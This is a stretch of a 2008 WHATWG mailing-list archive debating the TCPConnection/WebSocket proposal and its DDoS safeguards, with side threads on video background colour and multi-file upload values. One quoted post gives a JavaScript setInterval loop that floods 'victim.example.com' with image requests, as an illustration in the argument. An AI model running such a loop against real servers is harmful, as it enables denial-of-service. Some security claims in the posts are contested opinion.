> or IMAP allows reconnecting to an existing session when the connection drops
> and for UDP daemons this question is moot because the connection never drops
> although it can occasionally fail.  Why should a custom connection from
> inside the browser make an exception?

One of the suggestions is creating a special protocol for
bi-directional communications with the server. The other suggestion is
creating a pure TCPConnection.

The pure TCPConnection should not specify a protocol, and it should be
able to connect to any port, for example telnet, SSH, POP3 etc.

My suggestion should replace only the special protocol variant and be
based on http/xmlhttprequest like this:

1. Client connects to web server
2. Web server and client communicates and establishes communication
trough the same socket pairs as the web page itself was transmitted
trough.
3. The client can then continue communicating with the server trough a
singleton object document.webSocket.

What happens in the background is the following:

Server starts a new thread or forks a new process to handle the
communication trough the channel. The server use the Session ID header
to match the client with the correct process on the server.

If the client is disconnected, then the next communication
reestablishes the connection using the session id header to match the
client with the correct thread on the server. This will be transparent
to both the server side script and the client side script - and I
believe it will work trough existing proxy servers.


The same type of communication channel can then be established by
scripting, for example like this:

var socket = new WebSocket("http://url/path/to/script.php");


This has the following benefits:

1. No security problems to worry about: Server decides if the request
should be handled as a persisting socket . If the server side script
is not persistent - then the request will be handled as a normal http
request by the server and the WebSocket object should cast an
exception.
2. Use existing protocols (HTTP), in a backward compatible way.
3. Since it uses the existing communication channel, it will always
work trough firewalls.
4. It supports virtual hosting by default.
5. It supports full URLs, including the path by default.


The disadvantage is that to utilize the feature, web servers must be
updated to support WebSockets - but I do not think that's different
from requiring special servers anyway.

Frode


From philipj at opera.com  Thu Jun 19 06:05:43 2008
From: philipj at opera.com (Philip =?ISO-8859-1?Q?J=E4genstedt?=)
Date: Thu, 19 Jun 2008 20:05:43 +0700
Subject: [whatwg] video background color (Was: Interpretation
	of	video	poster attribute)
In-Reply-To: <Pine.LNX.4.62.0806132101290.6527@hixie.dreamhostps.com>
References: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>
	<dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
	<dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>
	<1213027282.6676.43.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120547220.8559@hixie.dreamhostps.com>
	<1213257494.6562.56.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120944040.8559@hixie.dreamhostps.com>
	<1213267003.6562.87.camel@nog.bredbandsbolaget.se>
	<c2e346f90806120422r1def400fpf5349b3129f7eecc@mail.gmail.com>
	<op.ucmx46d3idj3kv@zcorpandell.linkoping.osa>
	<Pine.LNX.4.62.0806130915530.8559@hixie.dreamhostps.com>
	<1213357348.6562.114.camel@localhost>
	<Pine.LNX.4.62.0806132101290.6527@hixie.dreamhostps.com>
Message-ID: <1213880743.22314.39.camel@localhost>

Safari already uses a transparent background by default and to me that
doesn't seem like a bad idea -- it may be best to hide small 1px
letterboxes due to rounding errors in aspect ratio calculation etc.
Setting "background-color:transparent" to override the default black is
probably less known to most authors and transparent background is also
more in line with most other HTML elements.

I would suggest eventually specifying this behavior in the rendering
section, unless someone feels that default black letterboxes is very
important.

// Philip

On Fri, 2008-06-13 at 21:02 +0000, Ian Hickson wrote:
> On Fri, 13 Jun 2008, Philip Jgenstedt wrote:
> >
> > The issue with the poster attribute is resolved, but one comment made me 
> > remember something I've wondered about:
> > 
> > On Fri, 2008-06-13 at 09:26 +0000, Ian Hickson wrote:
> > 
> > > It's not impossible; first black would render 300x150, then the poster
> > 
> > The spec says: Areas of the element's playback area that do not contain 
> > the video represent nothing.
> > 
> > What does this mean? Black is customary for video, but leaving the 
> > region transparent (thus falling back to css background color) is 
> > another option. Which is better?
> 
> It's transparent, but I intended to have the following rule in the style 
> sheet:
> 
>    video { background: black; }
> 
> ...so that it looks black unless the author restyles it. Does that make 
> sense?
> 
> -- 
> Ian Hickson               U+1047E                )\._.,--....,'``.    fL
> http://ln.hixie.ch/       U+263A                /,   _.. \   _\  ;`._ ,.
> Things that are impossible just take longer.   `._.-(,_..'--(,_..'`-.;.'
-- 
Philip J?genstedt
Opera Software



From michael.carter at kaazing.com  Thu Jun 19 11:01:23 2008
From: michael.carter at kaazing.com (Michael Carter)
Date: Thu, 19 Jun 2008 11:01:23 -0700
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <4859B9CB.40607@arc.net.au>
References: <mailman.10554.1213824710.2753.whatwg-whatwg.org@lists.whatwg.org>
	<4859B9CB.40607@arc.net.au>
Message-ID: <24f9a1ba0806191101h13291792wded6d16560fec632@mail.gmail.com>

I fail to see how virtual hosting will work for this anyway. I mean we're
> not talking about Apache/IIS here, we're talking about custom applications,
> scripts or devices - possibly implemented in firmware or "a few lines of
> perl". Adding vhost control to the protocol is just silly since the
> webserver won't ever see the request and the customer application should be
> able to use any method it likes to differentiate its services. Even URI
> addressing is silly since again the application may have no concept of
> "paths" or "queries". It is simply a service running on a port. The only
> valid use case for all this added complexity is proxying but nobody has
> tested yet whether proxies will handle this (short of enabling encryption,
> and even that is untested).
>

Actually, I've already tested this protocol against some typical forward
proxy setups and it hasn't caused any problems so far.


>
> I'm thinking here that this proposal is basically rewriting the CGI
> protocol (web server handing off managed request to custom scripts) with the
> ONLY difference being the asynchronous nature of the request. Perhaps more
> consideration might be given to how the CGI/HTTP protocols might be updated
> to allow async communication.
>

Rewriting the HTTP spec is not feasible and I'm not even convinced its a
good idea. HTTP has always been request/response so it would make a lot more
sense to simply use a new protocol then confuse millions of
developers/administrators who thought they understood HTTP.


>
> Having said that I still see a very strong use case for low-level
> client-side TCP and UDP. There are ways to manage the security risks that
> require further investigation. Even if it must be kept same-domain that is
> better than creating a new protocol that won't work with existing services.
> Even if that sounds like a feature - it isn't. There are better ways to
> handle access-control for non-WebConnection devices than sending garbage to
> the port.
>

If we put the access control in anything but the protocol it means that we
are relying on an external service for security, so it would have to be
something that is completely locked down. I don't really see what the
mechanism would be. Can you propose a method for doing this so as to allow
raw tcp connections without security complications?

> [If a] protocol is decided on, and it is allowed to connect to any IP-address> - then DDOS attacks can still be performed: If one million web> browsers connect to any port on a single server, it does not matter> which protocol the client tries to communicate with. The server will> still have problems.
>
>
>  Couldn't this already be done today, though? You can already today
> connect to an arbitrary server on an arbitrary port using forms,
> <img>, <script src=""> and all other references that cannot be
> cross-domain protected for backwards compatibillity reasons. The whole
> hotlinking issue is basically the result of that.
> How would WebSocket connections be more harmful than something like
>
> setInterval(function(){
>   var img = new Image();
>   img.src = "http://victim.example.com/" <http://victim.example.com/> + generateLongRandomString();
> }, 1000);
>
> for example would?
>
>  It's more harmful because an img tag (to my knowledge) cannot be used to
> brute-force access, whereas a socket connection could. With the focus on
> DDOS it is important to remember that these sockets will enable full
> read/write access to arbitrary services whereas existing methods can only
> write once per connection and generally not do anything useful with the
> response.
>

What do you mean by brute-force access, and how could the proposed protocol
be used to do it. Can you provide an example?

Also, the proposed protocol will do a single HTTP request, just like the img
tag, and the response be hidden from the attacker if it wasn't the right
response. From a potential attacker's point of view, this is a write once
per connection where the only control they have over the request is the
value of the url. Attacking with this protocol is identical to attacking
with an image tag in every way that I can think of.

-Michael Carter
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080619/1d96552a/attachment-0001.htm>

From adele at apple.com  Thu Jun 19 11:18:29 2008
From: adele at apple.com (Adele Peterson)
Date: Thu, 19 Jun 2008 11:18:29 -0700
Subject: [whatwg] What should the value attribute be for multi-file upload
	controls in WF2?
Message-ID: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>

Hi all,

I'm looking at the Web Forms 2 specification for the multi-file upload  
control that uses the min/max attributes.  When multiple files are  
selected, its unclear what the value attribute should contain.  It  
could contain just the first filename, or a comma separated list of  
all of the filenames.  I think it will be useful though to add  
something about this in the specification for consistency.

Thanks,
	Adele


From hyatt at apple.com  Thu Jun 19 14:23:28 2008
From: hyatt at apple.com (David Hyatt)
Date: Thu, 19 Jun 2008 16:23:28 -0500
Subject: [whatwg] video background color (Was: Interpretation	of	video
 poster attribute)
In-Reply-To: <1213880743.22314.39.camel@localhost>
References: <1212496617.24802.6.camel@nog.bredbandsbolaget.se>
	<dd0fbad0806030759m789af621qa3fe21493bdb3b66@mail.gmail.com>
	<dd0fbad0806030800n22c76bf3n180f1048f13b2154@mail.gmail.com>
	<1213027282.6676.43.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120547220.8559@hixie.dreamhostps.com>
	<1213257494.6562.56.camel@nog.bredbandsbolaget.se>
	<Pine.LNX.4.62.0806120944040.8559@hixie.dreamhostps.com>
	<1213267003.6562.87.camel@nog.bredbandsbolaget.se>
	<c2e346f90806120422r1def400fpf5349b3129f7eecc@mail.gmail.com>
	<op.ucmx46d3idj3kv@zcorpandell.linkoping.osa>
	<Pine.LNX.4.62.0806130915530.8559@hixie.dreamhostps.com>
	<1213357348.6562.114.camel@localhost>
	<Pine.LNX.4.62.0806132101290.6527@hixie.dreamhostps.com>
	<1213880743.22314.39.camel@localhost>
Message-ID: <16479D4F-C3A3-4B32-8F1B-E23D2019956B@apple.com>

I agree.

dave

On Jun 19, 2008, at 8:05 AM, Philip J?genstedt wrote:

> Safari already uses a transparent background by default and to me that
> doesn't seem like a bad idea -- it may be best to hide small 1px
> letterboxes due to rounding errors in aspect ratio calculation etc.
> Setting "background-color:transparent" to override the default black  
> is
> probably less known to most authors and transparent background is also
> more in line with most other HTML elements.
>
> I would suggest eventually specifying this behavior in the rendering
> section, unless someone feels that default black letterboxes is very
> important.
>
> // Philip
>
> On Fri, 2008-06-13 at 21:02 +0000, Ian Hickson wrote:
>> On Fri, 13 Jun 2008, Philip Jgenstedt wrote:
>>>
>>> The issue with the poster attribute is resolved, but one comment  
>>> made me
>>> remember something I've wondered about:
>>>
>>> On Fri, 2008-06-13 at 09:26 +0000, Ian Hickson wrote:
>>>
>>>> It's not impossible; first black would render 300x150, then the  
>>>> poster
>>>
>>> The spec says: Areas of the element's playback area that do not  
>>> contain
>>> the video represent nothing.
>>>
>>> What does this mean? Black is customary for video, but leaving the
>>> region transparent (thus falling back to css background color) is
>>> another option. Which is better?
>>
>> It's transparent, but I intended to have the following rule in the  
>> style
>> sheet:
>>
>>   video { background: black; }
>>
>> ...so that it looks black unless the author restyles it. Does that  
>> make
>> sense?
>>
>> -- 
>> Ian Hickson               U+1047E                ) 
>> \._.,--....,'``.    fL
>> http://ln.hixie.ch/       U+263A                /,   _.. \   _ 
>> \  ;`._ ,.
>> Things that are impossible just take longer.   `._.-(,_..'-- 
>> (,_..'`-.;.'
> -- 
> Philip J?genstedt
> Opera Software
>



From frode at seria.no  Thu Jun 19 14:26:47 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Thu, 19 Jun 2008 23:26:47 +0200
Subject: [whatwg] Implementation of a good HTTPSocket (TCP-socket)
In-Reply-To: <f042876c0806181815m338706fcwfe153d59df440c50@mail.gmail.com>
References: <31fb000f0806181546u4e319dd1h431c37d3d95d2827@mail.gmail.com>
	<f042876c0806181815m338706fcwfe153d59df440c50@mail.gmail.com>
Message-ID: <31fb000f0806191426o3719890agc6b2adb025018e06@mail.gmail.com>

>> Web pages should only be allowed to access other servers when the
>> script has been digitally signed, and when the user has agreed to
>> giving the script elevated privileges - or there should be a
>> certificate on the origin server which is checked against DNS records
>> for each server that the script attempts to connect to.

I have changed my view on this. Only a DNS record is required:

1. A script by default can only connect to the server that it was
downloaded from.
2. Server A has a script that tries to connect to Server B. Server B
must have a record in its DNS that allows scripts originating from
Server A.

Nothing more should be needed, a DDOS attack using javascript can
never succed unless the attacker controls the DNS servers. I think
this DNS method could be used for all cross site scripting security
policies (java applets, flash etc). Additionally, the client can have
policies disallowing reconnects in for example one minute, if the
server responds with HTTP 401 Access Denied.

>> So what we want is a http based protocol which allow the client to
>> continue communicating with the script that handles the initial
>> request.
> I absolutely agree that this would be the best way. However, couldn't
> we use Michaels proposal for that? It seems to solve the same problems
> and is actually compliant HTTP (in theory at least).

We should have both a pure TCPConnection, and a ServerConnection
object. It could possibly be based on the BEEP protocol, i dont know
that protocol. All I know is that HTTP has mechanisms for switching
protocols (HTTP 101 Switching Protocols), and is a good basis for
browser to webserver communications already.

The ServerConnection should have some mechanisms in the protocol that
allows transmission of events from the server and to the server - as
well as sending variables/structures. Example:

var data = { name: "Frode B?rli", address: "Norway" }
document.serverConnection.send(data)

Also the client can add arbitrary event listeners to the
serverConnection object:

document.serverConnection.onwhatever = function(message) {
alert(message.city); }

The server should be able to listen to all DOM events also.

> I find the SessionID header a very good idea though.What are the
> thoughts on that?
>
> I'm sorry if that has already been discussed, but if we use HTTP, why
> can't we use the Access Control spec as an "opt in mechanism" that is
> a little easier to implement than DNS? If you modify the behaviour a
> little, you could even use it against DDOS attacks:

Without DNS records (or an alternative implementation) i think the
TCPConnection and the ServerConnection object should be restricted by
the same rules as XMLHttpRequest.

> "Counter suggestion": When a WebSocket objects attempts to connect,
> perform Access Control checks the way you would for POST requests.
> If the check fails and if the server response contains an
> Access-Control-Max-Age header, agents must immediately close the
> connection and must not open a connection to that resource again (or,
> if Access-Control-Policy-Path is present, to any resource specified)
> until the specified time has elapsed.
> That way, administrators that are hit by a DDOS can simply put

By securing with DNS records, administrators will not have to do
anything to prevent ddos, as it can't happen. Without DNS records, the
script is allowed only to connect to the same server that it was
fetched from. (Same as Java applets, Flash applets and XMLHttpRequest)

> Access-Control: allow <*> exclude <evilsite.example.com>
> Access-Control-Max-Age: 86400
> Access-Control-Policy-Path: /

I think the idea is good, but I do not like the exact implementation.
I think the server should be able to see which script is initiating
the connection (header sent from the client), and then the server can
respond with a HTTP 401 Access Denied. No need to specify anything
more. No need to specify which hosts that are allowed, since the
script can decide that on a number of parameters (like IP-address
etc).

From frode at seria.no  Thu Jun 19 14:54:41 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Thu, 19 Jun 2008 23:54:41 +0200
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <24f9a1ba0806191101h13291792wded6d16560fec632@mail.gmail.com>
References: <mailman.10554.1213824710.2753.whatwg-whatwg.org@lists.whatwg.org>
	<4859B9CB.40607@arc.net.au>
	<24f9a1ba0806191101h13291792wded6d16560fec632@mail.gmail.com>
Message-ID: <31fb000f0806191454l1bf82bc1gf9d48738d66e5762@mail.gmail.com>

>> able to use any method it likes to differentiate its services. Even URI
>> addressing is silly since again the application may have no concept of
>> "paths" or "queries". It is simply a service running on a port. The only
>> valid use case for all this added complexity is proxying but nobody has
>> tested yet whether proxies will handle this (short of enabling encryption,
>> and even that is untested).

I think we should have both a pure TCPSocket, and also a ServerSocket
that keeps the same connection as the original document was downloaded
from. The ServerSocket will make it very easy for web developers to
work with, since the ServerSocket object will be available both from
the server side and the client side while the page is being generated.
I am posting a separate proposal that describes my idea soon.

> Actually, I've already tested this protocol against some typical forward
> proxy setups and it hasn't caused any problems so far.

Could you test keeping the same connection as the webpage was fetched
from, open? So that when the server script responds with its HTML-code
- the connection is not closed, but used for kept alive for two way
communications?

This gives the following benefits:

The script on the server decides if the connection should be closed or
kept open. (Protection against DDOS attacks)

This allows implementing server side listening to client side events,
and vice versa. If this works, then the XMLHttpRequest object could be
updated to allow two way communications in exactly the same way.

Also, by adding a SessionID header sent from the client (instead of
storing session ids in cookies), the web server could transparently
rematch any client with its corresponding server side process in case
of disconnect.

>> I'm thinking here that this proposal is basically rewriting the CGI
>> protocol (web server handing off managed request to custom scripts) with the
>> ONLY difference being the asynchronous nature of the request. Perhaps more
>> consideration might be given to how the CGI/HTTP protocols might be updated
>> to allow async communication.
> Rewriting the HTTP spec is not feasible and I'm not even convinced its a
> good idea. HTTP has always been request/response so it would make a lot more
> sense to simply use a new protocol then confuse millions of
> developers/administrators who thought they understood HTTP.

The HTTP spec has these features already:

1: Header: Connection: Keep-Alive
2: Status: HTTP 101 Switching Protocol

No need to rewrite the HTTP spec at all probably.

>> Having said that I still see a very strong use case for low-level
>> client-side TCP and UDP. There are ways to manage the security risks that
>> require further investigation. Even if it must be kept same-domain that is
>> better than creating a new protocol that won't work with existing services.
>> Even if that sounds like a feature - it isn't. There are better ways to
>> handle access-control for non-WebConnection devices than sending garbage to
>> the port.
> If we put the access control in anything but the protocol it means that we
> are relying on an external service for security, so it would have to be
> something that is completely locked down. I don't really see what the
> mechanism would be. Can you propose a method for doing this so as to allow
> raw tcp connections without security complications?

TCPConnections are only allowed to the server where the script was
downloaded from (same as Flash and Java applets). A DNS TXT record can
create a white list of servers whose scripts can connect. Also the
TCPConnection possibly should be allowed to connect to local network
resources, after a security warning - but only if the server has a
proper HTTPS certificate.

>> It's more harmful because an img tag (to my knowledge) cannot be used to
>> brute-force access, whereas a socket connection could. With the focus on
>> DDOS it is important to remember that these sockets will enable full
>> read/write access to arbitrary services whereas existing methods can only
>> write once per connection and generally not do anything useful with the
>> response.
> What do you mean by brute-force access, and how could the proposed protocol
> be used to do it. Can you provide an example?

With the security measures I suggest above, there is no need for
protection against brute force attacks. Most developers only use one
server per site, and those that have multiple servers will certainly
be able to add a TXT-record to the DNS.


From frode at seria.no  Thu Jun 19 14:56:32 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Thu, 19 Jun 2008 23:56:32 +0200
Subject: [whatwg] What should the value attribute be for multi-file
	upload controls in WF2?
In-Reply-To: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
Message-ID: <31fb000f0806191456k41ed1d8bpdb120d4420c6b5bd@mail.gmail.com>

I think it should be a select box containing each file name and
perhaps an icon, and when you select a file - it asks you if you want
to remove the file from the upload queue.

Frode

2008/6/19 Adele Peterson <adele at apple.com>:
> Hi all,
>
> I'm looking at the Web Forms 2 specification for the multi-file upload
> control that uses the min/max attributes.  When multiple files are selected,
> its unclear what the value attribute should contain.  It could contain just
> the first filename, or a comma separated list of all of the filenames.  I
> think it will be useful though to add something about this in the
> specification for consistency.
>
> Thanks,
>        Adele
>



-- 
Best regards / Med vennlig hilsen
Frode B?rli
Seria.no

Mobile:
+47 406 16 637
Company:
+47 216 90 000
Fax:
+47 216 91 000


Think about the environment. Do not print this e-mail unless you really need to.

Tenk milj?. Ikke skriv ut denne e-posten dersom det ikke er n?dvendig.

From adele at apple.com  Thu Jun 19 15:04:16 2008
From: adele at apple.com (Adele Peterson)
Date: Thu, 19 Jun 2008 15:04:16 -0700
Subject: [whatwg] What should the value attribute be for multi-file
	upload controls in WF2?
In-Reply-To: <31fb000f0806191456k41ed1d8bpdb120d4420c6b5bd@mail.gmail.com>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
	<31fb000f0806191456k41ed1d8bpdb120d4420c6b5bd@mail.gmail.com>
Message-ID: <F38BB0B6-2141-40F3-8257-6DB913BDE5AE@apple.com>

That's a suggestion for the design of the control, but I was asking  
specifically about the value attribute, which can be accessed from  
script as a string.

- Adele

On Jun 19, 2008, at 2:56 PM, Frode B?rli wrote:

> I think it should be a select box containing each file name and
> perhaps an icon, and when you select a file - it asks you if you want
> to remove the file from the upload queue.
>
> Frode
>
> 2008/6/19 Adele Peterson <adele at apple.com>:
>> Hi all,
>>
>> I'm looking at the Web Forms 2 specification for the multi-file  
>> upload
>> control that uses the min/max attributes.  When multiple files are  
>> selected,
>> its unclear what the value attribute should contain.  It could  
>> contain just
>> the first filename, or a comma separated list of all of the  
>> filenames.  I
>> think it will be useful though to add something about this in the
>> specification for consistency.
>>
>> Thanks,
>>       Adele
>>
>
>
>
> -- 
> Best regards / Med vennlig hilsen
> Frode B?rli
> Seria.no
>
> Mobile:
> +47 406 16 637
> Company:
> +47 216 90 000
> Fax:
> +47 216 91 000
>
>
> Think about the environment. Do not print this e-mail unless you  
> really need to.
>
> Tenk milj?. Ikke skriv ut denne e-posten dersom det ikke er n?dvendig.



From jta at fe.up.pt  Thu Jun 19 15:06:32 2008
From: jta at fe.up.pt (=?UTF-8?B?Sm/Do28gQXJhw7pqbw==?=)
Date: Thu, 19 Jun 2008 23:06:32 +0100
Subject: [whatwg] Implementation of a good HTTPSocket (TCP-socket)
In-Reply-To: <31fb000f0806191426o3719890agc6b2adb025018e06@mail.gmail.com>
References: <31fb000f0806181546u4e319dd1h431c37d3d95d2827@mail.gmail.com>	<f042876c0806181815m338706fcwfe153d59df440c50@mail.gmail.com>
	<31fb000f0806191426o3719890agc6b2adb025018e06@mail.gmail.com>
Message-ID: <485AD868.4050003@fe.up.pt>

Frode B?rli wrote:
>>> Web pages should only be allowed to access other servers when the
>>> script has been digitally signed, and when the user has agreed to
>>> giving the script elevated privileges - or there should be a
>>> certificate on the origin server which is checked against DNS records
>>> for each server that the script attempts to connect to.
>>>       
>
> I have changed my view on this. Only a DNS record is required:
>
> 1. A script by default can only connect to the server that it was
> downloaded from.
> 2. Server A has a script that tries to connect to Server B. Server B
> must have a record in its DNS that allows scripts originating from
> Server A.
>
> Nothing more should be needed, a DDOS attack using javascript can
> never succed unless the attacker controls the DNS servers. I think
> this DNS method could be used for all cross site scripting security
> policies (java applets, flash etc). Additionally, the client can have
> policies disallowing reconnects in for example one minute, if the
> server responds with HTTP 401 Access Denied.
>
>   
>>> So what we want is a http based protocol which allow the client to
>>> continue communicating with the script that handles the initial
>>> request.
>>>       
>> I absolutely agree that this would be the best way. However, couldn't
>> we use Michaels proposal for that? It seems to solve the same problems
>> and is actually compliant HTTP (in theory at least).
>>     
>
> We should have both a pure TCPConnection, and a ServerConnection
> object. It could possibly be based on the BEEP protocol, i dont know
> that protocol. All I know is that HTTP has mechanisms for switching
> protocols (HTTP 101 Switching Protocols), and is a good basis for
> browser to webserver communications already.
>
> The ServerConnection should have some mechanisms in the protocol that
> allows transmission of events from the server and to the server - as
> well as sending variables/structures. Example:
>
> var data = { name: "Frode B?rli", address: "Norway" }
> document.serverConnection.send(data)
>
> Also the client can add arbitrary event listeners to the
> serverConnection object:
>
> document.serverConnection.onwhatever = function(message) {
> alert(message.city); }
>
> The server should be able to listen to all DOM events also.
>
>   
>> I find the SessionID header a very good idea though.What are the
>> thoughts on that?
>>
>> I'm sorry if that has already been discussed, but if we use HTTP, why
>> can't we use the Access Control spec as an "opt in mechanism" that is
>> a little easier to implement than DNS? If you modify the behaviour a
>> little, you could even use it against DDOS attacks:
>>     
>
> Without DNS records (or an alternative implementation) i think the
> TCPConnection and the ServerConnection object should be restricted by
> the same rules as XMLHttpRequest.
>
>   
>> "Counter suggestion": When a WebSocket objects attempts to connect,
>> perform Access Control checks the way you would for POST requests.
>> If the check fails and if the server response contains an
>> Access-Control-Max-Age header, agents must immediately close the
>> connection and must not open a connection to that resource again (or,
>> if Access-Control-Policy-Path is present, to any resource specified)
>> until the specified time has elapsed.
>> That way, administrators that are hit by a DDOS can simply put
>>     
>
> By securing with DNS records, administrators will not have to do
> anything to prevent ddos, as it can't happen. Without DNS records, the
> script is allowed only to connect to the same server that it was
> fetched from. (Same as Java applets, Flash applets and XMLHttpRequest)
>
>   
>> Access-Control: allow <*> exclude <evilsite.example.com>
>> Access-Control-Max-Age: 86400
>> Access-Control-Policy-Path: /
>>     
>
> I think the idea is good, but I do not like the exact implementation.
> I think the server should be able to see which script is initiating
> the connection (header sent from the client), and then the server can
> respond with a HTTP 401 Access Denied. No need to specify anything
> more. No need to specify which hosts that are allowed, since the
> script can decide that on a number of parameters (like IP-address
> etc).
>   
What if the DDOS attack is on the DNS servers rather that the server 
you're supposedly connecting to? I might be wrong, but you could always 
ask for a TCPConnection for each of an unlimited amount of bogus 
subdomains which could overload the DNS server with record requests. 
Just a thought.


From michael.carter at kaazing.com  Thu Jun 19 15:32:13 2008
From: michael.carter at kaazing.com (Michael Carter)
Date: Thu, 19 Jun 2008 15:32:13 -0700
Subject: [whatwg] TCPConnection feedback
In-Reply-To: <31fb000f0806191454l1bf82bc1gf9d48738d66e5762@mail.gmail.com>
References: <mailman.10554.1213824710.2753.whatwg-whatwg.org@lists.whatwg.org>
	<4859B9CB.40607@arc.net.au>
	<24f9a1ba0806191101h13291792wded6d16560fec632@mail.gmail.com>
	<31fb000f0806191454l1bf82bc1gf9d48738d66e5762@mail.gmail.com>
Message-ID: <24f9a1ba0806191532k5970fbey54654a343c800199@mail.gmail.com>

> I think we should have both a pure TCPSocket, and also a ServerSocket
> that keeps the same connection as the original document was downloaded
> from. The ServerSocket will make it very easy for web developers to
> work with, since the ServerSocket object will be available both from
> the server side and the client side while the page is being generated.
> I am posting a separate proposal that describes my idea soon.
>

I don't see the benefit of making sure that its the same connection that the
page was "generated" from.

>
> > Actually, I've already tested this protocol against some typical forward
> > proxy setups and it hasn't caused any problems so far.
>
> Could you test keeping the same connection as the webpage was fetched
> from, open? So that when the server script responds with its HTML-code
> - the connection is not closed, but used for kept alive for two way
> communications?


 If you establish a Connection: Keep-Alive with the proxy server, it will
leave the connection open to you, but that doesn't mean that it will leave
the connection open to the back end server as the Connection header is a
single-hop header.


> This gives the following benefits:
>
> The script on the server decides if the connection should be closed or
> kept open. (Protection against DDOS attacks)


With the proposed spec, the server can close the connection at any point.


> This allows implementing server side listening to client side events,
> and vice versa. If this works, then the XMLHttpRequest object could be
> updated to allow two way communications in exactly the same way.
>

The previously proposed protocol already allows the server side listening to
client side events, and vice versa. Rather or not to put that in the
XMLHttpRequest interface is another issue. I think making XHR bi-directional
is a bad idea because its confusing. Better to use a brand new api, like
WebSocket.


> Also, by adding a SessionID header sent from the client (instead of
> storing session ids in cookies), the web server could transparently
> rematch any client with its corresponding server side process in case
> of disconnect.
>

Isn't that what cookies are supposed to do?  Regardless, it sounds like an
application-level concern that should be layered on top of the protocol.


>
> >> I'm thinking here that this proposal is basically rewriting the CGI
> >> protocol (web server handing off managed request to custom scripts) with
> the
> >> ONLY difference being the asynchronous nature of the request. Perhaps
> more
> >> consideration might be given to how the CGI/HTTP protocols might be
> updated
> >> to allow async communication.
> > Rewriting the HTTP spec is not feasible and I'm not even convinced its a
> > good idea. HTTP has always been request/response so it would make a lot
> more
> > sense to simply use a new protocol then confuse millions of
> > developers/administrators who thought they understood HTTP.
>
> The HTTP spec has these features already:
>
> 1: Header: Connection: Keep-Alive
> 2: Status: HTTP 101 Switching Protocol
>
> No need to rewrite the HTTP spec at all probably.


You can't use HTTP 101 Switching Protocols without a Connection: Upgrade
header. I think you'll note that the proposal that started this thread uses
just this combination.


>
> >> Having said that I still see a very strong use case for low-level
> >> client-side TCP and UDP. There are ways to manage the security risks
> that
> >> require further investigation. Even if it must be kept same-domain that
> is
> >> better than creating a new protocol that won't work with existing
> services.
> >> Even if that sounds like a feature - it isn't. There are better ways to
> >> handle access-control for non-WebConnection devices than sending garbage
> to
> >> the port.
> > If we put the access control in anything but the protocol it means that
> we
> > are relying on an external service for security, so it would have to be
> > something that is completely locked down. I don't really see what the
> > mechanism would be. Can you propose a method for doing this so as to
> allow
> > raw tcp connections without security complications?
>
> TCPConnections are only allowed to the server where the script was
> downloaded from (same as Flash and Java applets). A DNS TXT record can
> create a white list of servers whose scripts can connect. Also the
> TCPConnection possibly should be allowed to connect to local network
> resources, after a security warning - but only if the server has a
> proper HTTPS certificate.
>

How would a DNS TXT record solve the problem? I  could register evil.com and
point it at an arbitrary ip address and claim that anyone who wants to can
connect.


> >> It's more harmful because an img tag (to my knowledge) cannot be used to
> >> brute-force access, whereas a socket connection could. With the focus on
> >> DDOS it is important to remember that these sockets will enable full
> >> read/write access to arbitrary services whereas existing methods can
> only
> >> write once per connection and generally not do anything useful with the
> >> response.
> > What do you mean by brute-force access, and how could the proposed
> protocol
> > be used to do it. Can you provide an example?
>
> With the security measures I suggest above, there is no need for
> protection against brute force attacks. Most developers only use one
> server per site, and those that have multiple servers will certainly
> be able to add a TXT-record to the DNS.
>

I don't actually understand which part of the specification you want to
change aside from doing the access control in a DNS TXT record instead of
the protocol.

-Michael Carter
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://lists.whatwg.org/pipermail/whatwg-whatwg.org/attachments/20080619/973dc2c4/attachment-0001.htm>

From frode at seria.no  Thu Jun 19 15:57:57 2008
From: frode at seria.no (=?UTF-8?Q?Frode_B=C3=B8rli?=)
Date: Fri, 20 Jun 2008 00:57:57 +0200
Subject: [whatwg] What should the value attribute be for multi-file
	upload controls in WF2?
In-Reply-To: <F38BB0B6-2141-40F3-8257-6DB913BDE5AE@apple.com>
References: <ED9AC6F5-F047-4A0B-8735-7737A0402B45@apple.com>
	<31fb000f0806191456k41ed1d8bpdb120d4420c6b5bd@mail.gmail.com>
	<F38BB0B6-2141-40F3-8257-6DB913BDE5AE@apple.com>
Message-ID: <31fb000f0806191557m37ae7174rc262b31233e11be@mail.gmail.com>

Sorry for misunderstanding. Ofcourse it is up to the user agent to
decide the appearance. If the value attribute should be accessible
from script, then I would wish it was an array when accessed from
script. If it must be a string, then I think it the control itself
should contain multiple input type=file elements, each with a single
value - accessible trough DOM.

Separating by comma is not good enough, as file names can contain comma.

Frode

2008/6/20 Adele Peterson <adele at apple.com>:
> That's a suggestion for the design of the control, but I was asking
> specifically about the value attribute, which can be accessed from script as
> a string.
>
> - Adele
>
> On Jun 19, 2008, at 2:56 PM, Frode B?rli wrote:
>
>> I think it should be a select box containing each file name and
>> perhaps an icon, and when you select a file - it asks you if you want
>> to remove the file from the upload queue.
>>
>> Frode
>>
>> 2008/6/19 Adele Peterson <adele at apple.com>:
>>>
>>> Hi all,
>>>
>>> I'm looking at the Web Forms 2 specification for the multi-file upload
>>> control that uses the min/max attributes.  When multiple files are
>>> selected,
>>> its unclear what the value attribute should contain.  It could contain
>>> just
>>> the first filename, or a comma separated list of all of the filenames.  I
>>> think it will be useful though to add something about this in the
>>> specification for consistency.
>>>
